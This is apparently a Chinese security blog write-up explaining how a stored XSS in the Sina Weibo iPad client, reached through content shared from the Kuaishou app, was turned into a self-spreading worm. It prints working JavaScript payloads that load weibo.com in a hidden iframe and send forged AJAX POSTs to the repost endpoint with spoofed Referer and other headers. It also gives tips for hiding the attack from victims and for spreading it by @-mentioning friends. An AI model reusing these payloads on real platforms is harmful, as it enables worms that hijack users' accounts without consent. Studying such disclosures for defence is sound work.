前两天和izy一起研究了一个他发现的新浪微博XSS,触发位置在微博ipad版中。
Izy发现,当我们通过第三方APP“快手”,将信息分享到微博时,信息内容就会造成一个XSS。当用户在ipad版微博客户端上查看这条微博的时候,即触发。我们这次的目的就是让这个存储型XSS变成蠕虫。
首先我下载了快手GIF安卓版(ipad/ios应该也可以),拍一段GIF,分享到微博,分享位置填入我的XSS POC:
我的POC只是一个弹窗的alert,在ipad上打开微博APP,点击查看我刚发的分享,即可触发:
我们看到,这个XSS是在本地域(file://)触发的。这就比较有意思了,因为在safari下,本地域是可以跨任意域的。
比如我跨域请求乌云的首页:
跨域是什么概念,比如我在这里插入一个XSS,能直接打到你乌云的cookie。当然,只有在你登录了乌云的情况下。
这就造成了一个很大的问题,我试过即使我在外面的safari浏览器中登录了某个网站,但在APP里也获取不到这个网站的COOKIE。二者不属于一个APP,所以数据是隔离的。
实际上,谁会在微博的客户端中去登录乌云呢?
那么,在微博的客户端中,我们登录了哪个网站?当然是weibo.com了,我们用<iframe src=”http://weibo.com”>在客户端中打开微博首页,就能看到我们已经登录了微博:
我再试试以下的payload:
document.write("<iframe name='wooyun' src='http://weibo.com'>"); setTimeout(function(){ alert(wooyun.window.document.location.href); }, 2000);
却发现得到的location.href却是about:blank
我们注入的javascript并没有到weibo.com的域下,所以我们不能直接控制weibo.com的内容。但经过抓包发现,虽然不能直接插入javascript,但我们的数据包中却带有自己的cookie。
新浪的主要cookie是加了HTTPONLY的,偷cookie没有任何意义,但微博作为国内最大的社交媒体之一,一个蠕虫绝对比偷cookie的威力大的多。
我们来构造蠕虫。对于一个微博,蠕虫最好的方式就是进行转发了,我们抓到了电脑上转发的包:
如上图,抓包之后进行fuzz,发现在HTTP头中,Referer肯定是不能少的(新浪是用Referer来防御CSRF漏洞),X-Requested-With: XMLHttpRequest和Content-Type: application/x-www-form-urlencoded也必须有。
因为我们可以跨域,所以我们通过ajax来发送POST包,将Referer、X-Requested-With、Content-Type加入header。
在chrome下,我们是不能通过ajax修改Referer的,但safari却没这么安全的设置。我用到了parsec团队兔子君编写的love.js(https://quininer.github.io/tests/love.js)来辅助我编写payload:
love.req.ajax("http://weibo.com/", "pic_src=&appkey=&mid=3814845696408506&style_type=1&mark=&reason=%E8%BD%AC%E5%8F%91%E5%BE%AE%E5%8D%9A&location=page_100505_home&pdetail=1005055462247711&module=&page_module_id=&refer_sort=&rank=0&rankid=&_t=0", { "Referer": "http://weibo.com/", "X-Requested-With": "XMLHttpRequest", "Content-Type": "application/x-www-form-urlencoded" }, function(data){ alert(data.target.responseText); });
但是我将这个payload传上去之后却发现,返回的包确是一个未登录的提示:
我明明应该有weibo.com的cookie的呀?后来izy发现,原来是因为我长时间(这个测试是第二天做的)不操作,所以cookie已经过期了。只要我们再用iframe加载一次weibo.com,即可重新获得cookie。
document.write("<iframe id=hi src=http://weibo.com ></iframe>"); love.req.ajax("http://weibo.com/aj/v6/mblog/forward?ajwvr=6&domain=100505&__rnd=1425013147163", "pic_src=&appkey=&mid=3814845696408506&style_type=1&mark=&reason=%E8%BD%AC%E5%8F%91%E5%BE%AE%E5%8D%9A&location=page_100505_home&pdetail=1005055462247711&module=&page_module_id=&refer_sort=&rank=0&rankid=&_t=0", { "Referer": "http://weibo.com/", "X-Requested-With": "XMLHttpRequest", "Content-Type": "application/x-www-form-urlencoded" }, function(data){ alert(data.target.responseText); });
触发payload发现返回结果变了,已经成功转发微博(实战中将这个弹窗去掉,并可以将iframe的width和height设置为0,让用户察觉不到自己受到危害):
查看自己的主页已经看到转发了:
这样就形成了一个新浪微博的蠕虫。只要查看了我这个微博的用户,即会自动转发这条微博。我们甚至可以把“转发微博”那四个字改成@好友,这样传播下去,只要用了ipad版微博客户端的用户都会触发XSS,再次转发,形成一个一传十十传百的效果。
这篇文章由izy和phithon完成,并再次感谢izy提供了这么好的案例,让我们接触了客户端XSS和客户端蠕虫。
相关推荐: python_mmdt:从0到1–实现简单恶意代码分类器(二)
概述 上篇文章python_mmdt:一种基于敏感哈希生成特征向量的python库(一)我们介绍了一种叫mmdt_hash(mmdt敏感哈希)生成方法,并对其中的概念做了基本介绍。本篇,我们重点谈谈mmdt_hash的分类应用场景。 需求场景 设想这么一个需求…
请登录后发表评论
注册